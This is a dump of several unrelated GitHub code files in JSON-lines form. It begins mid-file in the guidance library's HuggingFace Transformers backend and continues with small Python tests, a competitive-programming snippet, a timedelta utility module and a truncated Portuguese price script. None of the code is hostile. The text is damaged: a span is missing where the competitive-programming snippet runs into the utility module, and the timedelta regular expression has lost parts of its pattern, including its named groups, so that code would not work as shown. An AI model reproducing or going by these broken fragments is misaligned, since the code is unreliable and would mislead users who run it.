LLMSession, SyncSession\n\n\nclass Transformers(LLM):\n \"\"\" A HuggingFace transformers language model with Guidance support.\n \"\"\"\n\n llm_name: str = \"transformers\"\n\n def __init__(self, model=None, tokenizer=None, caching=True, token_healing=True, acceleration=True, \\\n temperature=0.0, device=None, **kwargs):\n super().__init__()\n\n # fill in default model value\n if model is None:\n model = os.environ.get(\"TRANSFORMERS_MODEL\", None)\n if model is None:\n try:\n with open(os.path.expanduser('~/.transformers_model'), 'r') as file:\n model = file.read().replace('\\n', '')\n except:\n pass\n\n self.model_obj, self.tokenizer = self._model_and_tokenizer(model, tokenizer, **kwargs)\n\n self.model_name = model if isinstance(model, str) else model.__class__.__name__\n self.caching = caching\n self.current_time = time.time()\n self.call_history = collections.deque()\n self.temperature = temperature\n self.token_healing = token_healing\n self.acceleration = acceleration\n if device is not None: # set the device if requested\n self.model_obj = self.model_obj.to(device)\n self.device = self.model_obj.device # otherwise note the current device\n\n self._token_prefix_map = self._build_token_prefix_map(model)\n\n def new_string_builder(self, starting_ids=None):\n return TransformersStringBuilder(self.tokenizer, starting_ids)\n\n def prefix_matches(self, prefix):\n \"\"\" Return the list of tokens that match the given prefix.\n \"\"\"\n return [v for arr in self._token_prefix_map.values(prefix=prefix) for v in arr]\n\n def encode(self, string, **kwargs):\n return self.tokenizer.encode(string, **kwargs)\n \n def decode(self, tokens, **kwargs):\n return self.tokenizer.decode(tokens, **kwargs)\n \n def id_to_token(self, id):\n return self.tokenizer.convert_ids_to_tokens([id])[0]\n \n def token_to_id(self, token):\n return self.tokenizer.convert_tokens_to_ids([token])[0]\n\n def end_of_text(self):\n return self.tokenizer.eos_token\n\n @staticmethod\n def role_start(role):\n raise NotImplementedError(\"In order to use chat role tags you need to use a chat-specific subclass of Transformers for your LLM from guidance.transformers.*!\")\n\n def _build_token_prefix_map(self, model_name):\n \"\"\" Build a map from token to index.\n \"\"\"\n token_map = pygtrie.CharTrie()\n for i in range(self.tokenizer.vocab_size):\n s = self.id_to_token(i)\n if s in token_map:\n token_map[s].append(i) # handle duplicate token encodings... (GPT2 BPE has this oddly enough)\n else:\n token_map[s] = [i]\n\n return token_map\n\n def _model_and_tokenizer(self, model, tokenizer, **kwargs):\n\n # intantiate the model and tokenizer if needed\n if isinstance(model, str):\n\n # make sure transformers is installed\n try:\n import transformers\n except:\n raise Exception(\"Please install transformers with `pip install transformers` in order to use guidance.llms.Transformers!\")\n\n if tokenizer is None:\n tokenizer = transformers.AutoTokenizer.from_pretrained(model, **kwargs)\n model = transformers.AutoModelForCausalLM.from_pretrained(model, **kwargs)\n \n assert tokenizer is not None, \"You must give a tokenizer object when you provide a model object (as opposed to just a model name)!\"\n \n return model, tokenizer\n\n def session(self, asynchronous=False):\n if asynchronous:\n return TransformersSession(self)\n else:\n return SyncSession(TransformersSession(self))\n\n\nclass TransformersSession(LLMSession):\n def __init__(self, llm):\n super().__init__(llm)\n \n self._past_key_values = None\n self._prefix_cache = []\n \n def __enter__(self):\n\n # we only need decorators if we are using token acceleration\n if self.llm.acceleration:\n\n # decorate the prep step to preserve the initial past key values we have passed\n def prep_step_decorator(method):\n def decorate_prep_step(input_ids, **kwargs):\n\n # if we are extending the input ids with the cached tokens then\n # don't pass past key values to the input prep step, otherwise it\n # would delete all but the last input_ids, and we have already removed\n # the correct prefix from the input_ids (which is not always all but the last one)\n if len(self._prefix_cache) > 0:\n \n kwargs[\"past\"] = None\n input_ids = input_ids[:,len(self._prefix_cache):]\n # if \"attention_mask\" in kwargs:\n # kwargs[\"attention_mask\"] = kwargs[\"attention_mask\"][:,len(self._prefix_cache):]\n model_kwargs = method(input_ids, **kwargs)\n\n # provide the past key values for the actual model call\n model_kwargs[\"past_key_values\"] = self._past_key_values\n if \"position_ids\" in model_kwargs: # models like OPT update the position ids internally\n model_kwargs[\"position_ids\"] = model_kwargs[\"position_ids\"][:,len(self._prefix_cache):] # and update position ids\n\n # we only need to do this first time, after that the past key values will\n # be up until the last token, just like transformer models normally expect\n # so we can clear our cache and let transformers cache like normal\n self._prefix_cache = [] # this will get refilled once the generate call is done\n \n return model_kwargs\n else:\n return method(input_ids, **kwargs)\n decorate_prep_step.__func__ = method.__func__ # make us still look like a bound method\n return decorate_prep_step\n if getattr(self.llm.model_obj, \"_orig_prepare_method\", None) is None:\n self.llm.model_obj._orig_prepare_method = self.llm.model_obj.prepare_inputs_for_generation\n self.llm.model_obj.prepare_inputs_for_generation = prep_step_decorator(self.llm.model_obj._orig_prepare_method)\n\n # decorate the update step to save the past key values\n def update_step_decorator(method):\n def decorate_update_step(outputs, *args, **kwargs):\n\n # save the past key values\n self._past_key_values = getattr(outputs, \"past_key_values\", None)\n\n return method(outputs, *args, **kwargs)\n return decorate_update_step\n if getattr(self.llm.model_obj, \"_orig_update_method\", None) is None:\n self.llm.model_obj._orig_update_method = self.llm.model_obj._update_model_kwargs_for_generation\n self.llm.model_obj._update_model_kwargs_for_generation = update_step_decorator(self.llm.model_obj._orig_update_method)\n\n return self\n \n async def __call__(self, prompt, stop=None, stop_regex=None, temperature=None, n=1, max_tokens=1000, logprobs=None,\n top_p=1.0, echo=False, logit_bias=None, token_healing=None, pattern=None, stream=False,\n cache_seed=0, caching=None, **generate_kwargs):\n \"\"\" Generate a completion of the given prompt.\n \"\"\"\n \n # fill in defaults\n if temperature is None:\n temperature = self.llm.temperature\n if token_healing is None:\n token_healing = self.llm.token_healing\n\n # generate the cache key\n cache_params = self._cache_params(locals().copy())\n llm_cache = self.llm.cache\n key = llm_cache.create_key(self.llm.llm_name, **cache_params)\n\n # set the stop patterns\n if stop is not None:\n if isinstance(stop, str):\n stop_regex = [regex.escape(stop)]\n else:\n stop_regex = [regex.escape(s) for s in stop]\n if isinstance(stop_regex, str):\n stop_regex = [stop_regex]\n if stop_regex is None:\n stop_regex = []\n stop_regex.append(regex.escape(self.llm.tokenizer.eos_token)) # make sure the end of sequence token is always included\n\n # handle function calling\n if \"function_call\" in generate_kwargs:\n assert generate_kwargs[\"function_call\"] in [\"none\"], \"Transformers does not yet have function call support!\"\n del generate_kwargs[\"function_call\"]\n\n # handle caching\n in_cache = key in llm_cache\n not_caching = (caching is not True and not self.llm.caching) or caching is False\n if not in_cache or not_caching:\n import transformers\n\n assert prompt != \"\", \"You must provide a non-zero length prompt to the Transformers language model!\"\n\n # encode the prompt\n import torch\n # encoded2 = self.llm.encode([prompt for _ in range(n)], return_tensors=\"pt\")\n encoded = self.llm.encode(prompt)\n encoded = torch.tensor([encoded for _ in range(n)])\n if self.llm.device is not None:\n encoded = encoded.to(self.llm.device)\n input_ids = encoded#[\"input_ids\"]\n # attention_mask = encoded[\"attention_mask\"]\n model_config = self.llm.model_obj.config\n\n # ensure that we are extending a common sequence batch (our token healing assumes this right now)\n assert (input_ids[0,-1] == input_ids[:,-1]).all(), \"The current token healing implementation assumes that batches are reps of the same sequence!\"\n\n healed_token_ids = []\n processors = []\n stoppers = []\n\n # save what the prompt looks like when coded and then decoded (this captures added start tokens, etc.)\n coded_prompt = self.llm.decode(input_ids[0])\n\n # setup token healing\n if token_healing:\n healer = TokenHealingLogitsProcessor(self.llm, model_config.vocab_size, input_ids[0])\n healed_token_ids = healer.healed_token_ids\n if len(healed_token_ids) > 0:\n input_ids = input_ids[:,:-len(healed_token_ids)]\n # attention_mask = attention_mask[:,:-len(healed_token_ids)]\n max_tokens += len(healed_token_ids) # increase to account for the tokens we regen for token healing\n processors.append(healer)\n\n # setup logit biasing\n if logit_bias is not None:\n processors.append(BiasLogitsProcessor(self.llm, model_config.vocab_size, logit_bias))\n\n # find the max context length\n possible_attributes = [\"max_sequence_length\", \"max_seq_len\", \"model_max_length\", \"n_positions\", \"max_position_embeddings\"]\n max_context = None\n for obj in [model_config, self.llm.tokenizer]:\n for attr in possible_attributes:\n if max_context is None:\n max_context = getattr(obj, attr, None)\n else:\n break\n assert max_context is not None, \"Could not find a max context length for the model! Tried: \"+\", \".join(possible_attributes)\n\n # make sure we don't run off the end of the model\n if max_tokens + len(input_ids[0]) > max_context:\n max_tokens = max_context - len(input_ids[0])\n\n # find how much of the prompt is cached\n prefix_match_len = 0\n for token in input_ids[0]:\n if prefix_match_len >= len(self._prefix_cache) or token != self._prefix_cache[prefix_match_len]:\n break\n else:\n prefix_match_len += 1\n\n # we always need to run the model on at least one token so transformers is happy\n if prefix_match_len == len(input_ids[0]):\n prefix_match_len -= 1\n\n # trim the cache to what we can use\n if prefix_match_len < len(self._prefix_cache): # prefix_match_len > 0 and \n self._past_key_values = tuple((key[:,:,:prefix_match_len,:],value[:,:,:prefix_match_len,:]) for key,value in self._past_key_values) # TODO: this is specific to the GPT2 tensor layout\n self._prefix_cache = self._prefix_cache[:prefix_match_len]\n\n # add support for pattern guidance\n if pattern is not None:\n processors.append(RegexLogitsProcessor(pattern, stop_regex, self.llm, model_config.vocab_size, temperature == 0, len(coded_prompt), self.llm.tokenizer.eos_token_id))\n\n if stop_regex is not None:\n stoppers.append(RegexStoppingCriteria(stop_regex, self.llm, len(coded_prompt)))\n\n # a streamer to handle potentially partial output\n streamer = TransformersStreamer(\n input_ids=input_ids,\n stop_regex=stop_regex,\n healed_token_ids=healed_token_ids,\n prefix_length=len(coded_prompt),\n llm=self.llm,\n max_new_tokens=max_tokens,\n logprobs=logprobs\n )\n\n # the args for the transformers generate call\n generate_args = dict(\n inputs=input_ids,\n # attention_mask=attention_mask,\n # position_ids=position_ids,\n temperature=temperature,\n max_new_tokens=max_tokens,\n top_p=top_p,\n pad_token_id=model_config.pad_token_id if model_config.pad_token_id is not None else self.llm.tokenizer.eos_token_id,\n logits_processor=transformers.LogitsProcessorList(processors),\n stopping_criteria=transformers.StoppingCriteriaList(stoppers),\n # past_key_values=self._past_key_values,\n output_scores=logprobs is not None and logprobs > 0,\n return_dict_in_generate=True,\n **generate_kwargs\n )\n\n # override the model config for do_sample when the temperature requires it\n do_sample = getattr(model_config, \"do_sample\", None)\n if do_sample is True and temperature == 0:\n generate_args[\"do_sample\"] = False\n elif do_sample is False and temperature > 0:\n generate_args[\"do_sample\"] = True\n\n # if we are streaming then we need to run the inference process in a separate thread\n if stream:\n generate_args[\"streamer\"] = streamer\n thread = threading.Thread(target=self.llm.model_obj.generate, kwargs=generate_args)\n thread.start()\n return self._stream_then_save(streamer, key, thread)\n\n # if we are not streaming we still manually use the streamer for consistency\n else:\n generated_sequence = self.llm.model_obj.generate(**generate_args)\n streamer.put(generated_sequence)\n self.llm.cache[key] = streamer.__next__()\n self._update_prefix_cache(streamer)\n return llm_cache[key]\n \n def _update_prefix_cache(self, streamer):\n # note what we now have cached and ready for our next call in this session\n if self._past_key_values and len(streamer.generated_sequence) == 1:\n self._prefix_cache = streamer.generated_sequence[0][:self._past_key_values[0][0].shape[-2]] # self._past_key_values is already saved, this just aligns with it\n\n def _stream_then_save(self, streamer, key, thread):\n list_out = []\n for out in streamer:\n list_out.append(out)\n yield out\n thread.join() # clean up the thread\n self.llm.cache[key] = list_out\n self._update_prefix_cache(streamer)\n self._last_computed_key = key\n\n def __exit__(self, exc_type, exc_value, traceback):\n \"\"\" Restore the model to its original state by removing monkey patches.\n \"\"\"\n if getattr(self.llm.model_obj, \"_orig_prepare_method\", None) is not None:\n self.llm.model_obj.prepare_inputs_for_generation = self.llm.model_obj._orig_prepare_method\n del self.llm.model_obj._orig_prepare_method\n if getattr(self.llm.model_obj, \"_orig_update_method\", None) is not None:\n self.llm.model_obj._update_model_kwargs_for_generation = self.llm.model_obj._orig_update_method\n del self.llm.model_obj._orig_update_method\n return False\n\n\nclass TokenHealingLogitsProcessor():\n \"\"\" Token healing.\n\n When we tokenize the prompt the last token(s) we get are not the last token(s) we would\n have gotten if the prompt + generation was concatented and then tokenized. This\n is not good because it does not align with the pretraining of the model, so\n we \"heal\" this boundary by backing up as many tokens as needed and then forcing the first tokens\n generated to start with the prefix of the tokens we removed from the prompt. This could\n result in the same tokens at the end of the prompt, or some suffix of the tokens we removed\n could be replaced by a single longer one that crosses the prompt boundary.\n \"\"\"\n\n def __init__(self, model, vocab_size, prompt_ids, bias_value=100.):\n \"\"\" Build a new TokenHealingLogitsProcessor.\n\n Note that bias_value is in score space (log-odds normally) and should be\n enough to ensure those tokens are the only ones used.\n \"\"\"\n\n # loop backwards through the prompt tokens looking for places where there are possible\n # extensions that cross the prompt boundary\n prefix_str = \"\"\n self.extension_tokens = []\n for i in range(len(prompt_ids)-1, max(len(prompt_ids)-10, -1), -1):\n token_str = model.id_to_token(prompt_ids[i])\n prefix_str = token_str + prefix_str\n try:\n extensions = model.prefix_matches(prefix_str)\n except KeyError: # this must be a special token outside the vocab, so we assume it does not have any valid extensions\n extensions = []\n self.extension_tokens.append(extensions)\n if i != len(prompt_ids)-1:\n self.extension_tokens[-1].append(prompt_ids[i]) # add the token used in the input prompt to the list of possible extensions\n self.extension_tokens = self.extension_tokens[::-1]\n\n # prune off any extension token positions that don't have multiple multiple possible extensions\n found_extensions = False\n for i in range(len(self.extension_tokens)):\n if len(self.extension_tokens[i]) > 1:\n self.extension_tokens = self.extension_tokens[i:]\n found_extensions = True\n break\n if found_extensions:\n self.healed_token_ids = prompt_ids[len(prompt_ids)-len(self.extension_tokens):]\n else:\n self.extension_tokens = []\n self.healed_token_ids = []\n \n # if we have multiple possible completions past the last token, then biasing is needed\n if len(self.extension_tokens) > 0:\n import torch\n\n # build a set of masks for each possible extension position\n self.token_masks = []\n for i in range(len(self.extension_tokens)):\n token_mask = torch.zeros(vocab_size)\n token_mask.scatter_(0, torch.tensor(self.extension_tokens[i]), bias_value)\n if model.device is not None:\n token_mask = token_mask.to(model.device)\n self.token_masks.append(token_mask)\n\n self.num_extensions = 0\n\n def __call__(self, input_ids, scores):\n\n # we only bias the first token generated\n if self.num_extensions >= len(self.extension_tokens):\n return scores\n self.num_extensions += 1\n\n # check if the last token was from the original prompt (if not then we have already \"healed\" by choosing a token that crosses the prompt boundary)\n if self.num_extensions > 1 and input_ids[0][-1] != self.healed_token_ids[self.num_extensions-2]:\n return scores\n\n # handle list inputs\n if isinstance(scores, list):\n import torch\n scores = torch.tensor(scores)\n\n # make only allowed tokens possible\n return scores + self.token_masks[self.num_extensions-1]\n \nclass BiasLogitsProcessor():\n \"\"\" Simple token biasing.\n \"\"\"\n\n def __init__(self, model, vocab_size, logit_bias):\n \"\"\" Build a new BiasLogitsProcessor.\n \"\"\"\n import torch\n \n self.bias_vector = torch.zeros(vocab_size)\n for token, bias in logit_bias.items():\n self.bias_vector[token] = bias\n self.bias_vector = self.bias_vector.to(model.device)\n\n def __call__(self, input_ids, scores):\n\n # handle list inputs\n if isinstance(scores, list):\n import torch\n scores = torch.tensor(scores)\n\n return scores + self.bias_vector\n \nclass RegexLogitsProcessor():\n \"\"\" Pattern guiding.\n \n Guide generation to match a regular expression.\n TODO: currently slow, could be made much faster by doing rejection sampling inline with the sampling/greedy process.\n \"\"\"\n\n def __init__(self, pattern, stop_regex, llm, vocab_size, is_greedy, prefix_length, eos_token_id, max_consider=500000):\n \"\"\" Build a new TokenHealingLogitsProcessor.\n\n Parameters\n ----------\n pattern : str\n The regex pattern we are seeking to match.\n stop_regex : str or list of str\n The stop regex(s) allowed to come after this pattern.\n llm : function\n The llm.\n vocab_size : int\n The size of the vocabulary.\n is_greedy : bool\n The token selection mode currently in use. We need to know this so we can\n effectively take over that sampling process inside this logit processor.\n eos_token_id : int\n The end of the stop token of the model.\n max_consider : int\n How many top values to bias. Note that we could remove this option once this\n processor is performance optimized (by integrating it into the sampling/greedy process).\n \"\"\"\n import torch\n \n if isinstance(stop_regex, str):\n stop_regex = [stop_regex]\n self.pattern_no_stop = regex.compile(pattern)\n self.pattern = regex.compile(pattern + \"(\" + \"|\".join(stop_regex) + \")?\")\n self.llm = llm\n self.is_greedy = is_greedy\n self.prefix_length = prefix_length\n self.max_consider = max_consider\n self.bias_vector = torch.zeros(vocab_size)\n self.current_strings = None\n self.current_length = 0\n self.forced_chars = 0\n self.eos_token_id = eos_token_id\n\n def __call__(self, input_ids, scores):\n import torch\n\n # handle 1D inputs\n one_dim = False\n if not isinstance(input_ids[0], collections.abc.Sequence) and not (hasattr(input_ids[0], \"shape\") and len(input_ids[0].shape) > 0):\n one_dim = True\n input_ids = torch.tensor(input_ids).unsqueeze(0)\n scores = torch.tensor(scores).unsqueeze(0)\n\n # extend our current strings\n if self.current_strings is None:\n self.current_strings = [self.llm.new_string_builder() for i in range(len(input_ids))]\n for i in range(len(self.current_strings)):\n self.current_strings[i].extend(input_ids[i][self.current_length:])\n\n assert len(self.current_strings) == 1, \"Regex patterns guides do not support batched inference with Transformers yet!\"\n\n self.current_length = len(input_ids[0])\n \n # compute the bias values\n self.bias_vector[:] = 0\n sort_inds = torch.argsort(scores, 1, True)\n to_bias = []\n for i in range(min(sort_inds.shape[1], self.max_consider)):\n self.current_strings[0].extend([sort_inds[0,i]])\n proposed_string = str(self.current_strings[0])[self.prefix_length:]\n self.current_strings[0].pop()\n m = self.pattern.fullmatch(proposed_string, partial=True) # partial means we don't match currently but might as the string grows\n if m:\n to_bias.append(int(sort_inds[0, i]))\n if self.is_greedy: # TODO: make this much faster for non-greedy sampling (by tracking how much prob mass we have looked through perhaps...)\n break # we are done if we are doing greedy sampling and we found the top valid hit\n \n # if we found no more valid tokens then we just end the sequence\n if not len(to_bias):\n to_bias = [self.eos_token_id]\n \n # bias allowed tokens\n min_to_bias = float(scores[0, to_bias].min())\n bias_value = scores[0, sort_inds[0, 0]] - min_to_bias + 10 # make sure the tokens that fit the pattern have higher scores than the top value\n for x in to_bias:\n self.bias_vector[x] = bias_value\n out = scores + self.bias_vector.to(scores.device)\n if one_dim:\n return out[0]\n else:\n return out\n\nclass RegexStoppingCriteria():\n def __init__(self, stop_pattern, llm, prefix_length):\n if isinstance(stop_pattern, str):\n self.stop_patterns = [regex.compile(stop_pattern)]\n else:\n self.stop_patterns = [regex.compile(pattern) for pattern in stop_pattern]\n self.prefix_length = prefix_length\n self.llm = llm\n self.current_strings = None\n self.current_length = 0\n\n def __call__(self, input_ids, scores, **kwargs):\n\n # handle 1D inputs\n if not isinstance(input_ids[0], collections.abc.Sequence) and not (hasattr(input_ids[0], \"shape\") and len(input_ids[0].shape) > 0):\n input_ids = [input_ids]\n\n # extend our current strings\n if self.current_strings is None:\n self.current_strings = [self.llm.new_string_builder() for _ in range(len(input_ids))]\n for i in range(len(self.current_strings)):\n self.current_strings[i].extend(input_ids[i][self.current_length:])\n \n self.current_length = len(input_ids[0])\n \n # check if all of the strings match a stop string (and hence we can stop the batch inference)\n all_done = True\n for i in range(len(self.current_strings)):\n found = False\n for s in self.stop_patterns:\n if s.search(str(self.current_strings[i])[self.prefix_length:]):\n found = True\n if not found:\n all_done = False\n break\n \n return all_done\n\nclass TransformersStringBuilder():\n \"\"\"This deals with the complexity of building up a string from tokens bit by bit.\"\"\"\n def __init__(self, tokenizer, starting_ids=None):\n self.tokenizer = tokenizer\n self.token_strings = []\n self._joint_string = \"\"\n if starting_ids is not None:\n self.extend(starting_ids)\n\n def extend(self, new_ids):\n new_token_strings = self.tokenizer.convert_ids_to_tokens(new_ids)\n self.token_strings.extend(new_token_strings)\n new_str = self.tokenizer.convert_tokens_to_string(self.token_strings)\n diff_str = new_str[len(self._joint_string):]\n self._joint_string = new_str\n return diff_str\n\n def pop(self):\n \"\"\"Remove the last token from the string and return text it removed.\"\"\"\n self.token_strings.pop()\n new_str = self.tokenizer.convert_tokens_to_string(self.token_strings)\n diff_str = self._joint_string[len(new_str):]\n self._joint_string = new_str\n return diff_str\n\n def __str__(self):\n return self._joint_string\n\n def __len__(self):\n return len(self._joint_string)\n\nclass TransformersStreamer():\n def __init__(self, input_ids, stop_regex, healed_token_ids, prefix_length, llm, max_new_tokens, logprobs, timeout=None):\n\n self.input_ids = input_ids\n self.stop_regex = stop_regex\n self.healed_token_ids = healed_token_ids\n self.logprobs = logprobs\n self.llm = llm\n self.max_total_tokens = max_new_tokens + len(input_ids[0])\n self.timeout = timeout\n self.str_pos = [prefix_length for i in range(len(self.input_ids))]\n self.out_queue = queue.Queue()\n self.sequence_pos = [len(self.input_ids[0]) for i in range(len(self.input_ids))]\n self.generated_sequence = [[] for i in range(len(self.input_ids))]\n self.display_logprobs = [[] for i in range(len(self.input_ids))]\n self.generated_string = [self.llm.new_string_builder(input_ids[0]) for i in range(len(self.input_ids))]\n self.prefix_cache = []\n\n def put(self, token_obj):\n\n import torch\n if isinstance(token_obj, torch.Tensor):\n new_tokens = token_obj\n else:\n new_tokens = token_obj['sequences']\n\n if isinstance(new_tokens, torch.Tensor):\n new_tokens = new_tokens.cpu()\n \n # if we are given a single sequence, then make it a batch of size 1\n if len(new_tokens.shape) == 1:\n new_tokens = new_tokens.unsqueeze(0)\n\n # extract the scores if we are given them (and format them to be the same shape as the tokens)\n if self.logprobs:\n assert len(new_tokens) == 1, \"logprobs are not supported for batched generation right now in guidance.llms.Transformers\"\n new_scores = [torch.nn.functional.log_softmax(x, dim=-1).cpu() for x in token_obj['scores']]\n len_diff = len(new_tokens[0]) - len(new_scores)\n if len_diff > 0:\n new_scores = [None for i in range(len_diff)] + new_scores\n new_scores = [new_scores]\n\n out = {\"choices\": [None for i in range(len(self.input_ids))]}\n put_data = False\n for i in range(len(self.input_ids)):\n self.generated_sequence[i].extend(list(new_tokens[i]))\n \n # save logprobs if needed\n if self.logprobs:\n for scores in new_scores[i]:\n if scores is None:\n self.display_logprobs[i].append(None)\n else:\n top_inds = scores[0].argsort(descending=True)[:self.logprobs] # TODO: verify the [0] is always correct\n self.display_logprobs[i].append({self.llm.id_to_token(j): float(scores[0][j]) for j in top_inds})\n\n if self.sequence_pos[i] < len(self.generated_sequence[i]):\n display_tokens = list(self.generated_sequence[i][self.sequence_pos[i]:])\n val = self.generated_string[i].extend(display_tokens)\n # val = self.llm.decode(display_tokens)#[self.llm._prefix_token_id] + display_tokens)[len(self.llm._prefix_token):]\n # self.generated_string[i] += val\n \n if self.str_pos[i] < len(self.generated_string[i]):\n val = str(self.generated_string[i])[self.str_pos[i]:]\n finish_reason = None\n \n # check why we stopped\n stop_pos = len(val) + 1\n if len(self.generated_sequence[i]) >= self.max_total_tokens:\n finish_reason = \"length\"\n elif self.generated_sequence[i][-1] == self.llm.tokenizer.eos_token_id:\n finish_reason = \"endoftext\"\n eos_str = self.generated_string[i].pop() # remove the end of text token\n stop_pos = len(val) - len(eos_str)\n\n # trim off the stop regex matches if needed\n found_partial = False\n stop_text = None\n if self.stop_regex is not None:# and (finish_reason is None or len(self.input_ids) > 1):\n stop_regex_obj = [regex.compile(s) for s in self.stop_regex]\n for s in stop_regex_obj:\n m = s.search(val, partial=True)\n if m:\n span = m.span()\n if span[1] > span[0]:\n if m.partial: # we might be starting a stop sequence, so we can't emit anything yet\n found_partial = True\n break\n else:\n stop_text = val[span[0]:span[1]]\n stop_pos = min(span[0], stop_pos)\n break\n\n # record the reason we stopped (if we have stopped)\n if stop_pos <= len(val):\n finish_reason = \"stop\"\n \n # emit the data if we are not potentially in the middle of a stop sequence\n if not found_partial or finish_reason is not None:\n out[\"choices\"][i] = {\n \"text\": val[:stop_pos],\n \"finish_reason\": finish_reason,\n \"stop_text\": stop_text,\n \"logprobs\": {\n # \"token_healing_prefix\": self.last_token_str,\n \"top_logprobs\": self.display_logprobs[i][self.sequence_pos[i]:]\n }\n }\n self.str_pos[i] = len(self.generated_string[i])\n put_data = True\n self.sequence_pos[i] = len(self.generated_sequence[i])\n \n if put_data:\n self.out_queue.put(out)\n\n def end(self):\n\n # make sure we have flushed all of the data\n for i in range(len(self.input_ids)):\n assert self.str_pos[i] >= len(self.generated_string[i]), \"Not all data was flushed, this means generation stopped for an unknown reason!\"\n \n self.out_queue.put(None)\n\n def __iter__(self):\n return self\n\n def __next__(self):\n value = self.out_queue.get(timeout=self.timeout)\n if value is None:\n raise StopIteration()\n else:\n return value\n","repo_name":"microsoft/guidance","sub_path":"guidance/llms/_transformers.py","file_name":"_transformers.py","file_ext":"py","file_size_in_byte":34930,"program_lang":"python","lang":"en","doc_type":"code","stars":11100,"dataset":"github-code","pt":"19"} +{"seq_id":"26823437502","text":"import pickle\nimport unittest\n\nfrom aioprocessing.executor import _ExecutorMixin\n\n\nclass PickleTest(unittest.TestCase):\n def test_pickle_queue(self):\n q = _ExecutorMixin()\n q.test = \"abc\"\n pickled = pickle.dumps(q)\n unpickled = pickle.loads(pickled)\n self.assertEqual(q.test, unpickled.test)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"dano/aioprocessing","sub_path":"tests/pickle_test.py","file_name":"pickle_test.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":629,"dataset":"github-code","pt":"19"} +{"seq_id":"29596846334","text":"n=int(input())\nl=list(map(int,(input().split())))\nmax_count=0\nmin_countt=0\nm=l[0]\nn=l[0]\nfor i in l:\n if i>m:\n m=i\n max_count+=1\n if i -)?\"\n r\"((?P\\d+)w)?\"\n r\"((?P\\d+)d)?\"\n r\"((?P\\d+)h)?\"\n r\"((?P\\d+)m)?\"\n r\"((?P\\d+)s)?\"\n)\nTIMEDELTA_PATTERN = re.compile(TIMEDELTA_REGEX, re.IGNORECASE)\n\n\ndef parse_timedelta(delta: str) -> Optional[timedelta]:\n \"\"\"Parses a human readable timedelta (3d5h19m2s) into a datetime.timedelta.\n Delta includes:\n * - (for negative deltas)\n * Xw weeks\n * Xd days\n * Xh hours\n * Xm minutes\n * Xs seconds\n\n >>> parse_timedelta(\"2s\") == timedelta(seconds=2)\n True\n >>> parse_timedelta(\"1h1s\")== timedelta(hours=1, seconds=1)\n True\n >>> parse_timedelta(\"1d1s\") == timedelta(days=1, seconds=1)\n True\n >>> parse_timedelta(\"2w17s\") == timedelta(weeks=2, seconds=17)\n True\n >>> parse_timedelta(\"-1s\") + parse_timedelta(\"2s\") == timedelta(seconds=1)\n True\n \"\"\"\n match = TIMEDELTA_PATTERN.match(delta)\n if match:\n groups = match.groupdict()\n sign = -1 if groups.pop(\"minus\", None) else 1\n parts = {k: int(v) for k, v in groups.items() if v}\n return timedelta(**parts) * sign\n return None\n\n\ndef pretty_timedelta(delta: timedelta) -> str:\n \"\"\"\n Convert into a human-readable timedelta that is also parsable by\n parse_timedelta and golang time.ParseDuration.\n\n >>> pretty_timedelta(timedelta(seconds=1))\n '1.0s'\n >>> pretty_timedelta(timedelta(weeks=1, days=1, hours=1, seconds=1, microseconds=1))\n '193h1.000001s'\n \"\"\"\n if delta is None:\n return \"NONE\"\n ret_val = \"\"\n if delta < timedelta():\n # negative timedelta\n delta = -delta\n ret_val += \"-\"\n hours_from_days = delta.days * 24\n hours_from_seconds = delta.seconds // (60 * 60)\n hours = hours_from_days + hours_from_seconds\n minutes = delta.seconds // 60 % 60\n seconds = delta.seconds % 60\n fraction = delta.microseconds / (10 ** 6)\n\n if hours != 0:\n ret_val += f\"{hours}h\"\n if minutes != 0:\n ret_val += f\"{minutes}m\"\n if seconds != 0 or fraction != 0:\n seconds = seconds + fraction\n ret_val += f\"{seconds}s\"\n return ret_val\n\n\ndef load_flux_file(file_name: str) -> str:\n current_file = pathlib.Path(__file__)\n dir_path = current_file.parent / \"flux\" / file_name\n\n content = dir_path.read_text()\n return content\n\n\ndef to_flux_datetime(d: datetime) -> str:\n if d.tzinfo is None or d.tzinfo.utcoffset(d) is None:\n # naive tz assume it is local\n d.replace(tzinfo=tzlocal())\n\n # convert to UTC\n d = d.astimezone(UTC)\n\n return d.isoformat()[:19] + \"Z\"\n\n\ndef to_optional_datetime(d: Optional[datetime]) -> str:\n if d is not None:\n return to_flux_datetime(d)\n else:\n return \"\"\n\n\ndef get_scalar_from_result(\n result, column: str = \"_value\", condition: Optional[Callable[[Any], bool]] = None\n) -> Optional[float]:\n tables_num = len(result)\n\n for table in result:\n record_num = len(table.records)\n for record in table:\n if condition is None or condition(record):\n if tables_num > 1 or record_num > 1:\n logger.warning(\n f\"Query returned several values (tables: {tables_num}, rows: {record_num})\"\n )\n return record[column]\n\n # Nothing matched\n return None\n","repo_name":"getsentry/test-factory-utils","sub_path":"stats-collector/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"22991736937","text":"#!/usr/bin/env python3\n# coding=utf-8\n\nfrom unittest.mock import Mock\n\nimport pytest\n\nfrom bdfr.resource import Resource\nfrom bdfr.site_downloaders.direct import Direct\n\n\n@pytest.mark.online\n@pytest.mark.parametrize(('test_url', 'expected_hash'), (\n ('https://giant.gfycat.com/DefinitiveCanineCrayfish.mp4', '48f9bd4dbec1556d7838885612b13b39'),\n ('https://giant.gfycat.com/DazzlingSilkyIguana.mp4', '808941b48fc1e28713d36dd7ed9dc648'),\n))\ndef test_download_resource(test_url: str, expected_hash: str):\n mock_submission = Mock()\n mock_submission.url = test_url\n test_site = Direct(mock_submission)\n resources = test_site.find_resources()\n assert len(resources) == 1\n assert isinstance(resources[0], Resource)\n resources[0].download(120)\n assert resources[0].hash.hexdigest() == expected_hash\n","repo_name":"GrzesiuDeveloper/backup","sub_path":"bulk-downloader-for-reddit-2.0.0/bdfr/tests/site_downloaders/test_direct.py","file_name":"test_direct.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"29332064420","text":"preco = float(input(\"Digite o preço do produto: \"))\n\nx = 0\nif preco >= 50:\n x = (preco * 5) / 100\nelif 50.1 >= preco <= 100:\n x = (preco * 10) / 100\nelse:\n x = (preco * 15) / 100\n\nif preco + x <= 80:\n 